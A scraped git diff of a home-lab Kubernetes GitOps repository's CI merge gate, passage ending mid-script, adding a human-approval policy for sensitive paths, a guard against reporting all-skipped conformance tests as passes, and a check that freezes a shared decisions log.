# 7a) plan_apps_waves: sidecars inherit their unit's wave; not-onboarded SDs are skipped;
|
||||||
# EXTRA_UNITS anchor strictly above; a file absent from the tree is never placed.
|
# EXTRA_UNITS anchor strictly above; a file absent from the tree is never placed.
|
||||||
present = {
|
present = {
|
||||||
"a.yaml", "svc.yaml", "svc-bootstrap-secret.sops.yaml",
|
"a.yaml", "a-claim-secret.sops.yaml",
|
||||||
|
"svc.yaml", "svc-bootstrap-secret.sops.yaml",
|
||||||
"svc-db.yaml", "svc-db-app.sops.yaml", "svc-db-backup-credentials.sops.yaml",
|
"svc-db.yaml", "svc-db-app.sops.yaml", "svc-db-backup-credentials.sops.yaml",
|
||||||
"svc-db-backup-credentials-prod.sops.yaml",
|
"svc-db-backup-credentials-prod.sops.yaml",
|
||||||
"gitea.yaml",
|
"gitea.yaml",
|
||||||
@@ -2559,6 +2569,10 @@ def _selftest() -> int:
|
|||||||
plan = plan_apps_waves(plan_sds, present)
|
plan = plan_apps_waves(plan_sds, present)
|
||||||
flat = {f: wv for wv, fs in plan.items() for f in fs}
|
flat = {f: wv for wv, fs in plan.items() for f in fs}
|
||||||
check(flat.get("a.yaml") == 0, "leaf app must land in wave 0")
|
check(flat.get("a.yaml") == 0, "leaf app must land in wave 0")
|
||||||
|
check(flat.get("a-claim-secret.sops.yaml") == 0,
|
||||||
|
"a `<svc>-claim-secret.sops.yaml` (plex's plex.tv claim) must be placed in the SAME wave "
|
||||||
|
"as its app — an env secretKeyRef has no `optional`, so a later wave means "
|
||||||
|
"CreateContainerConfigError")
|
||||||
check(flat.get("svc-db.yaml") == 0 and flat.get("svc-db-app.sops.yaml") == 0
|
check(flat.get("svc-db.yaml") == 0 and flat.get("svc-db-app.sops.yaml") == 0
|
||||||
and flat.get("svc-db-backup-credentials.sops.yaml") == 0
|
and flat.get("svc-db-backup-credentials.sops.yaml") == 0
|
||||||
and flat.get("svc-db-backup-credentials-prod.sops.yaml") == 0,
|
and flat.get("svc-db-backup-credentials-prod.sops.yaml") == 0,
|
||||||
|
|||||||
+10
-1
@@ -12,7 +12,7 @@ CI_DIR := $(dir $(abspath $(lastword $(MAKEFILE_LIST))))
|
|||||||
|
|
||||||
.DEFAULT_GOAL := help
|
.DEFAULT_GOAL := help
|
||||||
|
|
||||||
.PHONY: help spec-immutability lint schema l0 render-golden l1 conformance gate all touched versions tools test
|
.PHONY: help spec-immutability decisions-log lint schema l0 render-golden l1 conformance gate all touched versions tools test
|
||||||
|
|
||||||
help: ## Show this help
|
help: ## Show this help
|
||||||
@awk 'BEGIN{FS=":.*##"} /^[a-zA-Z0-9_-]+:.*##/{printf " \033[36m%-14s\033[0m %s\n",$$1,$$2}' $(MAKEFILE_LIST)
|
@awk 'BEGIN{FS=":.*##"} /^[a-zA-Z0-9_-]+:.*##/{printf " \033[36m%-14s\033[0m %s\n",$$1,$$2}' $(MAKEFILE_LIST)
|
||||||
@@ -29,9 +29,18 @@ schema l0: ## ServiceDefinition schema validation + Kyverno L0 policy gate (no c
|
|||||||
render-golden: ## render==golden: canonical render reproduces committed apps/ (no cluster; live now)
|
render-golden: ## render==golden: canonical render reproduces committed apps/ (no cluster; live now)
|
||||||
@"$(CI_DIR)render-golden.sh"
|
@"$(CI_DIR)render-golden.sh"
|
||||||
|
|
||||||
|
decisions-log: ## handoff log: DECISIONS-LOG.md frozen, decisions/ entries well-formed (no cluster)
|
||||||
|
@"$(CI_DIR)decisions-log.sh"
|
||||||
|
|
||||||
l1: ## L1 rendering checks (no cluster; live now)
|
l1: ## L1 rendering checks (no cluster; live now)
|
||||||
@"$(CI_DIR)l1.sh"
|
@"$(CI_DIR)l1.sh"
|
||||||
|
|
||||||
|
approval-policy: ## CI is the approver; sensitive paths still need a human (needs PR_NUMBER + token)
|
||||||
|
@./approval-policy.sh
|
||||||
|
|
||||||
|
gitea-settings: ## Gitea branch protection + runners match infra/gitea/expected-branch-protection.json (SKIPS w/o GITEA_SETTINGS_TOKEN)
|
||||||
|
@./gitea-settings.sh
|
||||||
|
|
||||||
conformance: ## L2/L3 in-cluster Chainsaw Job (SKIPS w/o CLUSTER_AVAILABLE=true)
|
conformance: ## L2/L3 in-cluster Chainsaw Job (SKIPS w/o CLUSTER_AVAILABLE=true)
|
||||||
@"$(CI_DIR)conformance.sh"
|
@"$(CI_DIR)conformance.sh"
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,19 @@
|
|||||||
# `ci/` — portable merge gate (runnable today, without Gitea)
|
# `ci/` — portable merge gate (runnable today, without Gitea)
|
||||||
|
|
||||||
|
> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
|
||||||
|
> This document speaks as though no cluster exists and the platform is scaffolding. **A
|
||||||
|
> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
|
||||||
|
> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
|
||||||
|
> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
|
||||||
|
> describing a **live gap** rather than an expected stage — most importantly, L2/L3
|
||||||
|
> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
|
||||||
|
> coverage hole, not a phase.
|
||||||
|
>
|
||||||
|
> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
|
||||||
|
> documentation rather than measurement, and `main` was unprotected with zero runners
|
||||||
|
> registered the whole time. **Query the live API before asserting platform state.**
|
||||||
|
|
||||||
|
|
||||||
**Task T-0.2 · R-TEST-02 (reproducible, single-command) · Owner WS-GITOPS (CI).**
|
**Task T-0.2 · R-TEST-02 (reproducible, single-command) · Owner WS-GITOPS (CI).**
|
||||||
|
|
||||||
The same merge gate the Gitea Actions workflow runs
|
The same merge gate the Gitea Actions workflow runs
|
||||||
@@ -87,6 +101,7 @@ caller that must distinguish them invokes `./ci/gate.sh` directly.
|
|||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `lint`, `l0`, `render-golden`, `l1` | a **pinned tool is absent** or a **wired seam went unwired** — it *could not run* | **BLOCKED** under strict skips (a CI runner: the toolchain is installed for us by `.gitea/workflows/scripts/install-tools.sh`, so a skip is a defect); **UNDETERMINED** otherwise (a workstation missing a tool is a real local condition — still non-zero, still not a pass; the remedy is `infra/devcontainer/dev.sh`, which carries the pinned toolchain) |
|
| `lint`, `l0`, `render-golden`, `l1` | a **pinned tool is absent** or a **wired seam went unwired** — it *could not run* | **BLOCKED** under strict skips (a CI runner: the toolchain is installed for us by `.gitea/workflows/scripts/install-tools.sh`, so a skip is a defect); **UNDETERMINED** otherwise (a workstation missing a tool is a real local condition — still non-zero, still not a pass; the remedy is `infra/devcontainer/dev.sh`, which carries the pinned toolchain) |
|
||||||
| `spec-immutability` (R-TEST-06) | the sibling spec repo is not checked out, so the spec **could not be verified** | **UNDETERMINED** — unverified is unverified. Deliberately *not* upgraded to BLOCKED by strict skips: the live runner does not check the spec repo out at all, so blocking would leave the only enforced status check permanently red for a reason no PR could clear. It is therefore the **one** skip whose non-answer a caller may knowingly tolerate, and `.gitea/workflows/gate.yml` does so in one visible line. `REQUIRE_SPEC_VERIFICATION=true` makes it a hard block once that checkout is wired. Locally: check the spec repo out beside this one, or set `SPEC_REPO` (`dev.sh` mounts a sibling automatically). |
|
| `spec-immutability` (R-TEST-06) | the sibling spec repo is not checked out, so the spec **could not be verified** | **UNDETERMINED** — unverified is unverified. Deliberately *not* upgraded to BLOCKED by strict skips: the live runner does not check the spec repo out at all, so blocking would leave the only enforced status check permanently red for a reason no PR could clear. It is therefore the **one** skip whose non-answer a caller may knowingly tolerate, and `.gitea/workflows/gate.yml` does so in one visible line. `REQUIRE_SPEC_VERIFICATION=true` makes it a hard block once that checkout is wired. Locally: check the spec repo out beside this one, or set `SPEC_REPO` (`dev.sh` mounts a sibling automatically). |
|
||||||
|
| `decisions-log` | **nothing** — this stage has no skip path. It reads only files in the tree under test and needs no tool and no cluster, so there is no environment in which it "could not run" | a reported skip is a **defect in the stage** and BLOCKS. The stage fails when the frozen `DECISIONS-LOG.md` is modified (which silently re-creates, for every *other* open branch, the tail-hunk conflict that made four of five PRs unmergeable on 2026-09-29) or when a `decisions/` entry is malformed. There is deliberately **no** `REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard. See `decisions/README.md`. |
|
||||||
| `conformance` (L2/L3) | `CLUSTER_AVAILABLE!=true` — the environment **declared** the capability absent (documented Phase-0 behaviour) | **does not deny a PASS**: a declared-inapplicable stage was never *supposed* to run. It is NAMED in the PASS headline and step summary, the touched requirements it would have covered are reported UNVERIFIED, and `REQUIRE_CLUSTER_TESTS=true` (Phase 1+) turns that into a block. A skip **despite** `CLUSTER_AVAILABLE=true` is a defect and BLOCKS. |
|
| `conformance` (L2/L3) | `CLUSTER_AVAILABLE!=true` — the environment **declared** the capability absent (documented Phase-0 behaviour) | **does not deny a PASS**: a declared-inapplicable stage was never *supposed* to run. It is NAMED in the PASS headline and step summary, the touched requirements it would have covered are reported UNVERIFIED, and `REQUIRE_CLUSTER_TESTS=true` (Phase 1+) turns that into a block. A skip **despite** `CLUSTER_AVAILABLE=true` is a defect and BLOCKS. |
|
||||||
|
|
||||||
That asymmetry is the whole rule: **declared-not-applicable may pass; could-not-run may not.**
|
That asymmetry is the whole rule: **declared-not-applicable may pass; could-not-run may not.**
|
||||||
|
|||||||
Executable
+117
@@ -0,0 +1,117 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# ci/approval-policy.sh — the CI/CD pipeline is the approver, EXCEPT for changes that alter
|
||||||
|
# what the pipeline verifies or the security posture it rests on.
|
||||||
|
#
|
||||||
|
# THE POLICY, and why it is shaped this way.
|
||||||
|
#
|
||||||
|
# Operator intent (2026-09-29): "CI/CD pipeline is the end-all-be-all for approval. If the CI
|
||||||
|
# pipeline is not good enough to be trusted for this, then it is not good enough to do its
|
||||||
|
# intended job and needs to be improved. Manual approvers should only be for architecturally or
|
||||||
|
# security relevant changes -- which is essentially the CI pipeline itself and kyverno policies."
|
||||||
|
#
|
||||||
|
# So `required_approvals` on the branch drops to 0 and the GATE decides. That is a real transfer
|
||||||
|
# of authority, and it has exactly one hole: **a change to the gate cannot be gated by the gate.**
|
||||||
|
# A PR that weakens a check would be approved by the weakened check. The same applies to the
|
||||||
|
# admission policies, the Flux wiring that decides what reconciles, the SOPS recipients, and the
|
||||||
|
# RBAC. Those are the "architecturally or security relevant" set, and this stage is what still
|
||||||
|
# requires a human for them.
|
||||||
|
#
|
||||||
|
# The list is data, not code: infra/gitea/approval-policy.json, with a stated reason per entry so
|
||||||
|
# it stays reviewable. Changing that list is itself a sensitive change (infra/gitea/**), so the
|
||||||
|
# policy cannot be widened without a human.
|
||||||
|
#
|
||||||
|
# FAIL-CLOSED, DELIBERATELY DIFFERENT FROM gitea-settings.sh. That stage skips when its token is
|
||||||
|
# missing, because an unwired credential blocking every PR is a lock-out. Here the reverse is
|
||||||
|
# true: if this cannot evaluate, an unreviewed change to the gate itself could merge. A skip is a
|
||||||
|
# BYPASS, not a gap. So: cannot determine -> BLOCK.
|
||||||
|
#
|
||||||
|
# EXIT CODES
|
||||||
|
# 0 no sensitive paths touched (gate alone is sufficient), OR sensitive paths touched and a
|
||||||
|
# non-author APPROVED review is present
|
||||||
|
# 1 sensitive paths touched without such a review, OR the policy could not be evaluated
|
||||||
|
set -euo pipefail
|
||||||
|
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
|
||||||
|
# shellcheck disable=SC1091
|
||||||
|
source "${CI_DIR}/lib.sh"
|
||||||
|
|
||||||
|
log "Stage: approval policy (CI approves; humans approve changes to CI)"
|
||||||
|
|
||||||
|
DECL="${REPO_ROOT}/infra/gitea/approval-policy.json"
|
||||||
|
[ -f "$DECL" ] || die "approval policy declaration missing: ${DECL}"
|
||||||
|
require_tool jq
|
||||||
|
require_tool python3
|
||||||
|
|
||||||
|
# Not a PR -> nothing to gate. A push to main is already merged, and direct pushes are refused
|
||||||
|
# by branch protection, so this is genuinely not-applicable rather than a skipped check.
|
||||||
|
EVENT="${GITHUB_EVENT_NAME:-${EVENT_NAME:-}}"
|
||||||
|
PR="${PR_NUMBER:-}"
|
||||||
|
if [ "$EVENT" != "pull_request" ] || [ -z "$PR" ] || [ "$PR" = "null" ]; then
|
||||||
|
ok "not a pull_request event (event='${EVENT:-none}') — approval policy N/A"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
|
||||||
|
GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
|
||||||
|
TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
|
||||||
|
if [ -z "$TOKEN" ]; then
|
||||||
|
err "no SETTINGS_API_TOKEN — cannot read this PR's changed files or its reviews."
|
||||||
|
err " BLOCKING. A skip here would let an unreviewed change to the gate itself merge."
|
||||||
|
summary "- approval-policy: **BLOCKED — cannot evaluate** (no token; a skip here is a bypass)"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
|
||||||
|
|
||||||
|
FILES_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/files?limit=1000" || true)"
|
||||||
|
PR_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}" || true)"
|
||||||
|
REVIEWS_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/reviews" || true)"
|
||||||
|
for v in FILES_JSON PR_JSON REVIEWS_JSON; do
|
||||||
|
jq -e . >/dev/null 2>&1 <<<"${!v}" || {
|
||||||
|
err "could not read ${v} from Gitea for PR #${PR} — BLOCKING rather than assuming."
|
||||||
|
summary "- approval-policy: **BLOCKED — Gitea unreadable**"
|
||||||
|
exit 1; }
|
||||||
|
done
|
||||||
|
|
||||||
|
AUTHOR="$(jq -r '.user.login // empty' <<<"$PR_JSON")"
|
||||||
|
[ -n "$AUTHOR" ] || { err "could not determine PR author — BLOCKING"; exit 1; }
|
||||||
|
|
||||||
|
# NOTE: the PR file list goes in via an ENV VAR, not a second stdin redirect. `python3 - <<EOF`
|
||||||
|
# already consumes stdin for the script; adding `<<<"$json"` silently wins and the script body is
|
||||||
|
# never read. Caught before shipping, by running it.
|
||||||
|
SENSITIVE="$(FILES_JSON="$FILES_JSON" DECL="$DECL" python3 -c '
|
||||||
|
import json, os, fnmatch
|
||||||
|
decl = json.load(open(os.environ["DECL"]))
|
||||||
|
files = [f.get("filename", "") for f in json.loads(os.environ["FILES_JSON"])]
|
||||||
|
pats = decl["sensitive_paths"]
|
||||||
|
hits = sorted({f for f in files for p in pats
|
||||||
|
if fnmatch.fnmatch(f, p) or (p.endswith("/**") and f.startswith(p[:-2]))})
|
||||||
|
print("\n".join(hits))
|
||||||
|
')"
|
||||||
|
|
||||||
|
if [ -z "$SENSITIVE" ]; then
|
||||||
|
ok "no architecturally/security-relevant paths touched — the GATE is the approver."
|
||||||
|
summary "- approval-policy: **green** (CI approves; no sensitive paths touched)"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo " sensitive paths touched:" >&2
|
||||||
|
printf ' %s\n' $SENSITIVE >&2
|
||||||
|
|
||||||
|
APPROVER="$(jq -r --arg a "$AUTHOR" \
|
||||||
|
'[.[] | select(.state == "APPROVED") | select(.user.login != $a) | .user.login] | first // empty' \
|
||||||
|
<<<"$REVIEWS_JSON")"
|
||||||
|
|
||||||
|
if [ -n "$APPROVER" ]; then
|
||||||
|
ok "approved by '${APPROVER}' (author '${AUTHOR}') — sensitive change is human-reviewed."
|
||||||
|
summary "- approval-policy: **green** (sensitive paths approved by \`${APPROVER}\`)"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
err "This PR changes the pipeline or the security posture it rests on, and has NO approving"
|
||||||
|
err " review from anyone other than its author ('${AUTHOR}')."
|
||||||
|
err " A change to the gate cannot be gated by the gate — that is the one thing CI cannot"
|
||||||
|
err " honestly approve for itself. Get a human review, or move the change out of:"
|
||||||
|
printf ' %s\n' $SENSITIVE >&2
|
||||||
|
err " The list lives in infra/gitea/approval-policy.json, with a reason per entry."
|
||||||
|
summary "- approval-policy: **BLOCKED — sensitive paths need a non-author approval**"
|
||||||
|
exit 1
|
||||||
@@ -61,5 +61,45 @@ if [ -d "${CONF_ART}/coverage" ]; then
|
|||||||
cp -r "${CONF_ART}/coverage/." "${COVERAGE_DIR}/"
|
cp -r "${CONF_ART}/coverage/." "${COVERAGE_DIR}/"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------------------
|
||||||
|
# DID IT ACTUALLY RUN? -- the guard without which this stage FAKES A GREEN.
|
||||||
|
#
|
||||||
|
# run.sh exits 0 in "scaffold mode" when it cannot reach a cluster: it emits a JUnit file
|
||||||
|
# whose every testcase is <skipped> and returns success. That is correct FOR run.sh -- an
|
||||||
|
# honest skip is its documented no-cluster behaviour. It is catastrophic HERE, because
|
||||||
|
# reaching this point means the environment DECLARED CLUSTER_AVAILABLE=true, and this stage
|
||||||
|
# would otherwise print "L2/L3 conformance passed" over 54 tests that never executed.
|
||||||
|
#
|
||||||
|
# MEASURED 2026-09-29, before this guard existed:
|
||||||
|
# CLUSTER_AVAILABLE=true ./ci/conformance.sh -> rc=0
|
||||||
|
# "[junit] wrote skipped JUnit for 54 scaffolded test(s)"
|
||||||
|
# "[ ok ] L2/L3 conformance passed for touched subset"
|
||||||
|
# One Gitea variable away from a fake green on an enforcing merge gate. That is exactly the
|
||||||
|
# HARD RULE 4 violation this repo's whole gate design exists to prevent, and nothing caught
|
||||||
|
# it because nobody had ever set the variable.
|
||||||
|
#
|
||||||
|
# A skip while a cluster is DECLARED is a contradiction: either the declaration is wrong or
|
||||||
|
# the cluster is unreachable. The merge-gate decision matrix already says this case is BLOCK
|
||||||
|
# ("conformance skipped while CLUSTER_AVAILABLE=true -> BLOCK (it should have run)"). This
|
||||||
|
# makes the stage itself honour that instead of reporting a pass.
|
||||||
|
JUNIT="${CONF_ART}/report.junit.xml"
|
||||||
|
if [ -f "$JUNIT" ]; then
|
||||||
|
total="$(grep -o '<testcase' "$JUNIT" | wc -l | tr -d ' ')"
|
||||||
|
skipped="$(grep -o '<skipped' "$JUNIT" | wc -l | tr -d ' ')"
|
||||||
|
if [ "${total:-0}" -gt 0 ] && [ "${skipped:-0}" -ge "${total:-0}" ]; then
|
||||||
|
err "CLUSTER_AVAILABLE=true, but the L2/L3 suite SKIPPED every one of its ${total} tests"
|
||||||
|
err " (scaffold mode -- run.sh could not reach a cluster and exited 0)."
|
||||||
|
err " This stage will NOT report that as a pass. Either the cluster is unreachable from"
|
||||||
|
err " this runner, or CLUSTER_AVAILABLE is set when it should not be."
|
||||||
|
err " NOTE: the in-cluster trigger path is still UNIMPLEMENTED -- see"
|
||||||
|
err " docs/plans/l2-l3-conformance-ci-wiring.md. Setting CLUSTER_AVAILABLE=true does not"
|
||||||
|
err " by itself make L2/L3 run; it only makes this stage attempt a LOCAL run that the CI"
|
||||||
|
err " runner has no credential for (automountServiceAccountToken: false, by design)."
|
||||||
|
summary "- conformance-l2-l3: **BLOCKED — declared available but every test skipped** (not a pass)"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
log "L2/L3 executed: ${total} testcase(s), ${skipped} skipped"
|
||||||
|
fi
|
||||||
|
|
||||||
ok "L2/L3 conformance passed for touched subset"
|
ok "L2/L3 conformance passed for touched subset"
|
||||||
summary "- conformance-l2-l3: **passed**"
|
summary "- conformance-l2-l3: **passed**"
|
||||||
Executable
+195
@@ -0,0 +1,195 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# ci/decisions-log.sh — the handoff log is a DIRECTORY, and the old single file is frozen.
|
||||||
|
#
|
||||||
|
# WHY THIS STAGE EXISTS
|
||||||
|
# ---------------------
|
||||||
|
# CLAUDE.md §7 tells every agent to record a handoff before finishing. Until 2026-09-29 that
|
||||||
|
# meant appending to the tail of one 5,228-line file, DECISIONS-LOG.md. Every branch appended
|
||||||
|
# to the SAME last hunk, so git could not auto-merge any two of them. Measured that day against
|
||||||
|
# the live Gitea: four of the five open PRs were `mergeable: false`, and `git merge-tree`
|
||||||
|
# against `main` named DECISIONS-LOG.md as the ONLY conflicting path in all four:
|
||||||
|
#
|
||||||
|
# #22 fix/crafty-oauth2-proxy-signin CONFLICT (content): DECISIONS-LOG.md
|
||||||
|
# #20 feat/conformance-job-template CONFLICT (content): DECISIONS-LOG.md
|
||||||
|
# #19 feat/conformance-trigger-kubeconfig CONFLICT (content): DECISIONS-LOG.md
|
||||||
|
# #18 feat/conformance-runner-image CONFLICT (content): DECISIONS-LOG.md
|
||||||
|
# #17 feat/ci-is-the-approver clean — it wrote no handoff entry
|
||||||
|
#
|
||||||
|
# Nothing was wrong with any of those changes. The log's storage format serialised work that
|
||||||
|
# was otherwise parallel, and the cost grew with every concurrent branch (N branches -> N-1
|
||||||
|
# rebases, each invalidating the gate run before it).
|
||||||
|
#
|
||||||
|
# The fix is that handoffs now live one-per-file under decisions/, so concurrent branches touch
|
||||||
|
# disjoint paths and there is nothing to merge. See decisions/README.md.
|
||||||
|
#
|
||||||
|
# WHY IT NEEDS A CHECK AND NOT JUST A DOCUMENT
|
||||||
|
# --------------------------------------------
|
||||||
|
# The old habit is written into this repo in many places — the runbooks, the muscle memory of
|
||||||
|
# every agent that has read the log, and (until this change) CLAUDE.md itself. An agent that
|
||||||
|
# appends to DECISIONS-LOG.md anyway does not fail: it produces a perfectly good-looking commit
|
||||||
|
# that quietly re-creates the conflict for every other open branch, and the damage is only
|
||||||
|
# visible later, to somebody else, in a PR that is not theirs. That is the exact shape this
|
||||||
|
# repo keeps getting burned by — a silent regression with a delayed, misattributed symptom — so
|
||||||
|
# it gets a guard rather than a paragraph.
|
||||||
|
#
|
||||||
|
# WHAT IS ASSERTED
|
||||||
|
# (1) DECISIONS-LOG.md is byte-identical to the SHA-256 pinned in decisions/ARCHIVE.sha256.
|
||||||
|
# Re-pinning is a deliberate, reviewable line in a diff; appending is not.
|
||||||
|
# (2) Every decisions/ entry is named YYYY-MM-DD-<slug>.md with a real calendar date, so the
|
||||||
|
# directory sorts chronologically and two agents cannot collide on a filename.
|
||||||
|
# (3) Every entry carries frontmatter (date, branch, title) whose `date` agrees with its
|
||||||
|
# filename — a disagreement means a copied template nobody edited.
|
||||||
|
# (4) Every entry has all three of CLAUDE.md §7's sections with a real body under each:
|
||||||
|
# "What changed", "What I verified", "What I did NOT verify". This is the quality floor
|
||||||
|
# that stops an entry degrading into "done ✅". The third heading is the load-bearing one:
|
||||||
|
# this repo's recurring failure is a confident report of something nobody measured, and an
|
||||||
|
# entry with nowhere to write "UNVERIFIED" does not get one written.
|
||||||
|
#
|
||||||
|
# EXIT CODES (ci/README.md contract): 0 pass, 1 BLOCKS the merge. This stage has NO skip path —
|
||||||
|
# it reads only files that are in the tree it is run against, needs no tool beyond coreutils and
|
||||||
|
# no cluster, so there is no environment in which it "could not run". Adding an rc 3 here would
|
||||||
|
# add a fail-open surface to a guard whose whole job is to close one.
|
||||||
|
set -uo pipefail
|
||||||
|
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
# shellcheck disable=SC1091
|
||||||
|
source "${CI_DIR}/lib.sh"
|
||||||
|
set +e # aggregate every problem in one run; do not stop at the first.
|
||||||
|
|
||||||
|
cd "$REPO_ROOT"
|
||||||
|
|
||||||
|
ARCHIVE="DECISIONS-LOG.md"
|
||||||
|
PIN="decisions/ARCHIVE.sha256"
|
||||||
|
rc=0
|
||||||
|
|
||||||
|
# ---- (1) the archive is frozen ----------------------------------------------
|
||||||
|
log "Stage: decisions log (archive frozen + entries well-formed)"
|
||||||
|
|
||||||
|
if [ ! -f "$ARCHIVE" ]; then
|
||||||
|
err "${ARCHIVE} is missing. It is the frozen pre-2026-09-29 history and must stay in the tree."
|
||||||
|
summary "- decisions-log: **FAILED** (\`${ARCHIVE}\` missing)"
|
||||||
|
rc=1
|
||||||
|
elif [ ! -f "$PIN" ]; then
|
||||||
|
err "${PIN} is missing, so the archive's integrity cannot be established."
|
||||||
|
err " If you are re-pinning deliberately: sha256sum ${ARCHIVE} > ${PIN}"
|
||||||
|
summary "- decisions-log: **FAILED** (\`${PIN}\` missing — archive unverifiable)"
|
||||||
|
rc=1
|
||||||
|
else
|
||||||
|
want="$(awk 'NR==1{print $1}' "$PIN")"
|
||||||
|
got="$(sha256sum "$ARCHIVE" | awk '{print $1}')"
|
||||||
|
if [ "$want" != "$got" ]; then
|
||||||
|
err "${ARCHIVE} HAS CHANGED. It is a FROZEN ARCHIVE — do not append to it."
|
||||||
|
err " pinned: ${want}"
|
||||||
|
err " on disk: ${got}"
|
||||||
|
err ""
|
||||||
|
err " Every branch that appends to this file's tail conflicts with every other branch that"
|
||||||
|
err " does, on the same hunk. That is what made four of five open PRs unmergeable on"
|
||||||
|
err " 2026-09-29, and your commit would re-create it for branches that are not yours."
|
||||||
|
err ""
|
||||||
|
err " Write your handoff as its OWN FILE instead:"
|
||||||
|
err " decisions/\$(date +%F)-<your-branch-slug>.md (see decisions/README.md)"
|
||||||
|
err " and restore the archive: git checkout -- ${ARCHIVE}"
|
||||||
|
err ""
|
||||||
|
err " If the archive genuinely must change (redacting a leaked credential, say), that is a"
|
||||||
|
err " reviewed act: re-pin it with 'sha256sum ${ARCHIVE} > ${PIN}' and say why in your entry."
|
||||||
|
summary "- decisions-log: **FAILED — the frozen archive \`${ARCHIVE}\` was modified** (append to \`decisions/\` instead)"
|
||||||
|
rc=1
|
||||||
|
else
|
||||||
|
ok "${ARCHIVE}: unchanged (sha256 matches ${PIN})"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---- (2)(3)(4) every entry is well-formed ------------------------------------
|
||||||
|
shopt -s nullglob
|
||||||
|
entries=( decisions/[0-9]*.md )
|
||||||
|
shopt -u nullglob
|
||||||
|
|
||||||
|
# Zero entries is legitimate only until the first handoff lands; after that the glob always
|
||||||
|
# matches. It is never an error here — a branch that changes no behaviour owes no handoff, and
|
||||||
|
# CLAUDE.md, not this stage, is what asks for one.
|
||||||
|
if [ "${#entries[@]}" -eq 0 ]; then
|
||||||
|
log "no decisions/ entries yet"
|
||||||
|
fi
|
||||||
|
|
||||||
|
REQUIRED_SECTIONS=("What changed" "What I verified" "What I did NOT verify")
|
||||||
|
|
||||||
|
for f in "${entries[@]}"; do
|
||||||
|
base="${f#decisions/}"
|
||||||
|
|
||||||
|
# (2) filename
|
||||||
|
if [[ ! "$base" =~ ^([0-9]{4}-[0-9]{2}-[0-9]{2})-([a-z0-9][a-z0-9-]*)\.md$ ]]; then
|
||||||
|
err "${f}: name must be decisions/YYYY-MM-DD-<slug>.md with a lowercase [a-z0-9-] slug."
|
||||||
|
err " Use your branch's last segment as the slug — it is already unique per unit of work."
|
||||||
|
summary "- decisions-log: **FAILED** (\`${f}\` misnamed)"
|
||||||
|
rc=1
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
fname_date="${BASH_REMATCH[1]}"
|
||||||
|
|
||||||
|
if ! date -d "$fname_date" +%F >/dev/null 2>&1 || [ "$(date -d "$fname_date" +%F)" != "$fname_date" ]; then
|
||||||
|
err "${f}: '${fname_date}' is not a real calendar date."
|
||||||
|
summary "- decisions-log: **FAILED** (\`${f}\` — impossible date)"
|
||||||
|
rc=1
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
# (3) frontmatter
|
||||||
|
if [ "$(head -1 "$f")" != "---" ]; then
|
||||||
|
err "${f}: must open with a '---' YAML frontmatter block (date, branch, title)."
|
||||||
|
err " See decisions/README.md for the template."
|
||||||
|
summary "- decisions-log: **FAILED** (\`${f}\` — no frontmatter)"
|
||||||
|
rc=1
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
fm="$(awk 'NR==1&&$0=="---"{inb=1;next} inb&&$0=="---"{exit} inb{print}' "$f")"
|
||||||
|
missing_keys=()
|
||||||
|
for k in date branch title; do
|
||||||
|
grep -qE "^${k}:[[:space:]]*\S" <<<"$fm" || missing_keys+=("$k")
|
||||||
|
done
|
||||||
|
if [ "${#missing_keys[@]}" -gt 0 ]; then
|
||||||
|
err "${f}: frontmatter is missing a non-empty ${missing_keys[*]}."
|
||||||
|
summary "- decisions-log: **FAILED** (\`${f}\` — frontmatter missing \`${missing_keys[*]}\`)"
|
||||||
|
rc=1
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
fm_date="$(grep -m1 -E '^date:' <<<"$fm" | sed -E 's/^date:[[:space:]]*//; s/[[:space:]"'\'']//g')"
|
||||||
|
if [ "$fm_date" != "$fname_date" ]; then
|
||||||
|
err "${f}: frontmatter date '${fm_date}' disagrees with the filename's '${fname_date}'."
|
||||||
|
err " One of them was copied from a template and not edited; the log's ordering depends on both."
|
||||||
|
summary "- decisions-log: **FAILED** (\`${f}\` — date disagrees with filename)"
|
||||||
|
rc=1
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
# (4) the three required sections, each with a real body
|
||||||
|
body_start="$(awk 'NR>1 && $0=="---" {print NR; exit}' "$f")"
|
||||||
|
[ -n "$body_start" ] || body_start=1
|
||||||
|
for want_sec in "${REQUIRED_SECTIONS[@]}"; do
|
||||||
|
hdr_line="$(awk -v s="$body_start" -v w="## ${want_sec}" 'NR>s && $0==w {print NR; exit}' "$f")"
